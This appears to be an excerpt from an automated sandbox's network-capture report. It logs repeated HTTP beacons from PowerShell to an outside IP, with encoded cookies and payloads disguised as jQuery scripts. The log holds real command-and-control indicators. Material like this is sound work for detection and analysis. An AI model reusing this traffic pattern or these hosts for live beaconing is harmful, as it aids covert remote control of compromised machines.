Apr 9, 2023 02:58:50.929727077 CEST	220	IN	Data Raw: 48 46 4b 4a 41 45 4d 4e 41 4c 4b 49 4a 4e 4a 43 4b 4d 4c 4f 47 4a 4d 50 4e 4b 4c 49 46 4a 48 48 4d 44 4b 49 44 4b 41 42 4c 4a 4b 4e 4d 44 43 50 50 49 43 50 48 41 4c 41 4c 50 4e 41 4d 4d 46 4d 4c 46 44 4b 50 41 48 50 47 4c 47 43 4a 46 49 4d 42 48 Data Ascii: HFKJAEMNALKIJNJCKMLOGJMPNKLIFJHHMDKIDKABLJKNMDCPPICPHALALPNAMMFMLFDKPAHPGLGCJFIMBHAJDPFBFDHIKNPDDNFOCLIENBINCNDJILPLOAOBMECDKKDIPGGMPDGBOPNAOLKKMBGLNKABOGBLGPLL/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49687	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:39.913552999 CEST	116	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=rc0QbvYOcCknOr9vlBv-DlexkwXAilA0OoK5owLhiWmO-mcev1aWeVXHbbQRMPABRaQVY67hzVButBczu2E8NQsT3IvHcAXQJ9dMNvGajwg50RY1nWu8G--17ouFvVZEaUuT5eVjeDUfNzSaoCHUtT5DkWh_3Wu4bdVhQuAfEdeY-QjD User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:40.078819036 CEST	116	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:39 GMT Server: CloudFront Content-Length: 2484 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:40.078861952 CEST	118	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:40.078891039 CEST	119	IN	Data Raw: 4a 45 42 4d 45 4f 43 44 47 49 4b 4a 43 43 48 42 4b 4f 44 45 48 43 43 47 4c 49 48 48 4f 49 41 4b 41 4f 46 4b 4e 4e 4e 41 46 47 44 4d 50 42 41 45 4d 42 4c 46 4b 48 4a 45 4f 4f 41 4d 42 41 50 4c 46 4f 4d 4c 4c 41 47 4f 4e 4b 4d 4b 4f 4e 4a 47 43 4a Data Ascii: JEBMEOCDGIKJCCHBKODEHCCGLIHHOIAKAOFKNNNAFGDMPBAEMBLFKHJEOOAMBAPLFOMLLAGONKMKONJGCJPBONBLDADGGMEJIFIPFPAPELEJIFEDNKPMNBNHIABHIMGHDDGBPBPCMJBLKMFEFELIGEGOCLPEAOFJCKAJNOJJAODOJPJKEIKKGFHKANLBFAHLMICHGBEPLPPDIPBMCEOOMJLPMILNLBINOPNOGJJHOAGMNEKAIPE

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.5	49714	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:51.186217070 CEST	221	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=hjhzrt37E-kMz9yvv-6dznxE8MXrfzP0EXfaYykU6qmlDwTelKP1uX4yDnQ6xZPBblF2o4UUrpBFQXTzkJRf9SDmv0vshWYQDCIv9tpv7MgSJHX1tp7f28RAjUuuSDWEQr7wJc6WG_U0wldai9S3dRW28qhUKAh4RiACgsvqchezDGsD User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:51.335887909 CEST	221	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:51 GMT Server: CloudFront Content-Length: 2580 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:51.335928917 CEST	222	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:51.335953951 CEST	224	IN	Data Raw: 42 4f 42 4d 44 4d 50 4a 44 4e 49 4c 50 47 44 4e 44 49 43 4a 48 4a 4c 50 47 49 4e 4f 48 45 44 4b 45 46 44 4b 50 4d 48 42 49 50 45 4f 43 4b 42 4a 45 44 4d 4f 42 50 42 46 50 4c 45 4a 4e 49 50 48 50 4a 4d 44 45 49 4f 49 49 50 47 48 4d 49 43 44 41 44 Data Ascii: BOBMDMPJDNILPGDNDICJHJLPGINOHEDKEFDKPMHBIPEOCKBJEDMOBPBFPLEJNIPHPJMDEIOIIPGHMICDADMCFHPMKBFPACBFCLGGAEPEOIKPLIPONDFGKDHHBFOCGFIALAAEDBFKNFMNCFAOGFIJOFENCCNDNIKDCNAFNBLALKMMCBFPEMGPIFDOOBGNINGCHDLCKKMACNMFDCONOGOLEDCPNJNKLCIFOPALGKBJOIODBLIHLLO
Apr 9, 2023 02:58:51.335975885 CEST	224	IN	Data Raw: 65 6e 74 4e 6f 64 65 3b Data Ascii: entNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.5	49715	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:51.588181973 CEST	225	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=qi9uTPHsDgsg2MFNk_mALFBT7SfHaC4WPWDHgQUD90uJGBk8uLToW1IlE5YW0o4jQkZrQakDs3JpVmkRvINCFwzxoqnAknvyIDUyFPZ48So-M2gXmonCOehXkKmCXyhmbqntx-KBBhcY1Uq4p8Oqlzmh70p4PxWaajcfYOf9b_WfG3bh User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:51.737044096 CEST	225	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:51 GMT Server: CloudFront Content-Length: 2356 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:51.737077951 CEST	226	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:51.737101078 CEST	227	IN	Data Raw: 49 42 48 4e 48 48 4d 48 47 46 45 4f 46 48 47 4f 50 4d 4c 4c 4a 4f 41 42 4c 4b 4c 4d 44 4e 46 4f 4b 44 4f 44 50 4a 48 42 4d 45 48 47 46 4e 42 4c 4b 41 4b 4b 4c 4d 43 46 48 42 48 4b 41 48 46 43 41 4d 50 4a 49 46 4b 41 4f 42 41 4d 46 45 41 43 4b 43 Data Ascii: IBHNHHMHGFEOFHGOPMLLJOABLKLMDNFOKDODPJHBMEHGFNBLKAKKLMCFHBHKAHFCAMPJIFKAOBAMFEACKCOBJOAPMNGPBPGLIBAHODANNEFFGLBCMAICLMNDEFFMBGLINCPPIHCLLLPEBELLBIHEAPKPLHOJGHLD/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.5	49716	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:52.026241064 CEST	228	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=rDHxB_fykUAmxl4GlecfZ1ZNcmzBdrFdO35YygMdaACPBoZ3vqp3EFQ7jN0QzBFoRFj0Cq8dLDlvSPZaup3dXArvPeLGjOS5JiutX_BmbmE4LfdcnJddcu5JD-KEQbctaLdyjOSfmVwey9Xzod013D-_cAF-IYrRbCmAK-Hj8L6ZBemq User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:52.195287943 CEST	229	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:52 GMT Server: CloudFront Content-Length: 2580 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:52.195334911 CEST	230	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:52.195364952 CEST	231	IN	Data Raw: 42 41 44 43 43 41 4b 48 50 4f 46 42 41 48 4f 45 49 44 50 4f 44 4a 4c 4b 47 43 50 49 46 45 44 49 43 42 50 48 49 50 4f 48 4d 45 47 50 4b 41 4e 45 46 44 45 48 4b 45 44 4a 50 41 49 43 4f 4a 47 4e 48 4f 4e 4d 47 45 4e 45 49 4b 4b 45 46 4f 48 4f 43 4d Data Ascii: BADCCAKHPOFBAHOEIDPODJLKGCPIFEDICBPHIPOHMEGPKANEFDEHKEDJPAICOJGNHONMGENEIKKEFOHOCMALHLDNAFDGCHPANDGODNACCEMDEOCJEADHHJNGMONEHIOPOICMGKKNJAKKKEEGLJABKOAKGEKHMJNNFBDNELGCEDICDCNHLCLKAELPPOLLENGLDDOGNONPAIJFAAMLJBGJDHHOGJCGKCBNDJFICMLOIDBCJDMGLCL
Apr 9, 2023 02:58:52.195386887 CEST	232	IN	Data Raw: 65 6e 74 4e 6f 64 65 3b Data Ascii: entNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.5	49717	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:52.473417044 CEST	233	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=4y3vs7juj_Rp2kCy2vsB0xlRbNiOaq_pdGJGfkwBdrTAGpjD8bZppBsnkmlf0A_cC0TqvuABMo0gVOju9YHD6EXzI1aJkPoNaTez6796cNV3Meno04tDxqFVEVbLXamZJ6tsOKuDh-hR18tH7sEraHCjbrUxPZRlIzWen67_7grWGfce User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:52.643243074 CEST	233	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:52 GMT Server: CloudFront Content-Length: 2356 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:52.643294096 CEST	234	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:52.643340111 CEST	235	IN	Data Raw: 46 4c 44 4c 50 50 44 43 4e 46 44 45 45 49 50 4d 45 4b 4c 4c 47 50 4c 49 41 43 4f 4f 45 43 42 43 42 4b 49 46 42 4c 44 42 4c 41 42 4f 46 4a 48 46 43 46 49 47 47 4f 42 43 4d 44 4c 4d 49 44 4a 4c 50 4d 41 43 4f 4d 4e 49 49 46 48 4a 4b 47 41 43 50 4c Data Ascii: FLDLPPDCNFDEEIPMEKLLGPLIACOOECBCBKIFBLDBLABOFJHFCFIGGOBCMDLMIDJLPMACOMNIIFHJKGACPLBOEKHCPJKDAPHPINIAFKFMKALCMJHHBMLEDGNHALJMKONCACFGNONDMPDDCCAOEKENHIKGFBALNMNA/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.5	49718	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:52.910398006 CEST	236	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=9VQvTa6XTwp_o4BMzILBLQ8orCaYE28XYhuGgFp4tkrWY1g958-pWg1eUpdJqc8iHT0qQPZ48nM2LSgQ4_gDFlOK46if6Trzf05zFakDsCthSCkWxfKDOLcs0ajdJGlnMdKsxr36RxZHrgu5-LjrlmbarksnRFSbNUxeYbiGLvTAYDfg User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:53.058965921 CEST	237	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:52 GMT Server: CloudFront Content-Length: 2324 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:53.059007883 CEST	238	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:53.059101105 CEST	239	IN	Data Raw: 4e 44 46 4e 41 44 4d 49 47 4f 42 50 4f 41 50 4f 45 4d 43 45 44 50 50 47 49 47 50 41 4e 4b 4c 4b 41 46 4e 44 4d 48 42 46 49 50 45 4f 4f 50 47 44 46 48 4d 41 4c 41 4a 47 49 4f 44 50 4a 42 49 42 4e 48 47 45 4d 50 4a 4c 49 4e 4b 49 50 43 4e 4b 42 4c Data Ascii: NDFNADMIGOBPOAPOEMCEDPPGIGPANKLKAFNDMHBFIPEOOPGDFHMALAJGIODPJBIBNHGEMPJLINKIPCNKBLKOIKDEDPJEBFKDKMNDOMLLGIANBBLPAEKEIOKLKHIJAIKG/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict'

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.5	49719	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:53.323347092 CEST	240	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=sdaLaeoV6y47ISRoiABlCUuqCALckcszJpkipB76Em6S4fwZo00Nfknc9rMNK2sGWb-OZLL6Vldyr4w0p3qnMhcIR4zba57XO8zXMe2BFA8lyo0ygXAnHPOudYyZps1DdVAI4vl44zIDLK-dvDpPsiJYCm9jxvC_cc76RfwEitCE4pPE User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:53.471885920 CEST	240	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:53 GMT Server: CloudFront Content-Length: 2388 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:53.472137928 CEST	242	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:53.472172022 CEST	243	IN	Data Raw: 4c 4b 4e 41 4e 48 4b 4f 4c 48 4b 48 4d 4d 48 42 46 50 46 43 42 4b 43 42 41 4a 4f 41 4c 4e 50 42 4e 41 4c 4d 4d 4b 4c 46 44 42 50 4e 42 4e 49 4f 4f 45 47 4d 48 48 49 4d 44 49 4f 43 4f 4c 47 4b 46 46 41 48 42 50 45 42 4b 4a 43 4d 41 47 45 47 4f 43 Data Ascii: LKNANHKOLHKHMMHBFPFCBKCBAJOALNPBNALMMKLFDBPNBNIOOEGMHHIMDIOCOLGKFFAHBPEBKJCMAGEGOCNIENHLFPCNLOOBINFAGNHAAOLJOJAIBKEAIDFALGAJECIOJMJCHGIOPGDFCDAKNEPNEJHHLKMDBFKFIHLLPNMLBPOLLMMNAHNIAPIEIIFFHBJL/*! jQuery v3.4.1 \| (c) JS Foundation and other con

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.5	49720	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:53.747776031 CEST	244	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=58cD_7wEY7htMKz-3hHtnx27gJSKgEOlcIiqMkjrmvjE8HSP9VyF6B_NfiVbOuOQD64G8uTr3sEkvgSi8WsvpEEZzxqNehZBbd1fp7uQnJlz2wWk12GviqW__RrPt0XVI0GAdK9pa6RVPScL6ivHJHRJgvk113gpJ99y06oVAkbS8xtS User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:53.913464069 CEST	244	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:53 GMT Server: CloudFront Content-Length: 2356 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:53.913501978 CEST	246	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:53.913525105 CEST	247	IN	Data Raw: 4d 4c 48 45 48 4a 48 44 44 4d 4c 4f 4a 4e 4a 4d 42 42 47 41 49 47 41 4e 47 4c 4d 42 4b 4e 4f 4e 47 4d 4e 50 4a 48 42 50 46 41 4c 49 4b 4b 50 4f 4e 41 42 50 41 4d 4f 4c 4f 42 4f 46 4d 50 46 45 48 45 47 4b 46 4a 4a 43 4e 46 46 4f 49 4b 47 4b 41 4a Data Ascii: MLHEHJHDDMLOJNJMBBGAIGANGLMBKNONGMNPJHBPFALIKKPONABPAMOLOBOFMPFEHEGKFJJCNFFOIKGKAJOGLKLDHGCGNPMKEIIGBKCPLKMNHOPHFKBGNMDHDBOFLJOGILBANOHHLDGONHGJIGLHMABGJANELIPK/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.5	49721	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:54.198215961 CEST	248	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=vKkMkudqbNU2XqOThX_i8kbVj_nR7kzIK-alXxOFlZWfnnvirjKKhUSjcUgAVOz9VMAJn7-F0ax_0AvPqgUgyRp3wHfWFBksNrNQyuD-k_QotQrJjA-g5_7R8neU2Uq4eC-PGfQHZMkOUyhmsUXISS8njZRuuXdEfLF9vvF7DSuJnRQ_ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:54.362301111 CEST	248	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:54 GMT Server: CloudFront Content-Length: 2420 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:54.362333059 CEST	249	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:54.362358093 CEST	251	IN	Data Raw: 4f 50 44 4a 42 4b 46 45 4e 4d 42 4f 4a 45 47 43 4c 42 4a 46 44 47 47 4f 4d 47 41 4e 48 44 42 44 47 42 48 44 49 4b 4d 42 4b 4d 43 48 50 49 44 45 47 44 48 48 47 46 43 4b 48 4e 46 44 41 43 42 47 46 4a 4b 4d 47 50 41 45 44 48 4b 4f 44 41 46 48 49 48 Data Ascii: OPDJBKFENMBOJEGCLBJFDGGOMGANHDBDGBHDIKMBKMCHPIDEGDHHGFCKHNFDACBGFJKMGPAEDHKODAFHIHBGDDHDFCLCLDBCJAHHMJAJLGKNNFBNFCGLGAFMJPFHINHMDCHACBDABFBKMEFLOEGHJDNDAIGNCKJDKMPKHFFAPHIMCDONHCLAFBCHDPIJIJJHDNLKKCIEMAGIPGHANFJIDBIPEEBKMDNK/*! jQuery v3.4.1 \|

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.5	49722	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:54.622328997 CEST	252	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=WiTjrAHng-vQ00ytY_INzKBYYMc3Y6P2zWtKYfUIeqt5E5TcSL9lu6Iunnbm2QPDsk3moVkIPpKZXeTxTIjP9_z6L0kwmfYS0D6_9AZzfMrOOOX3aoJP2RhcHUlyVKWGnqJgJxKKi_fo3sdYV8gnd8mqYqqINJh6mjySgBf24hVvEPsB User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:54.771018028 CEST	252	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:54 GMT Server: CloudFront Content-Length: 2356 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:54.771053076 CEST	253	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
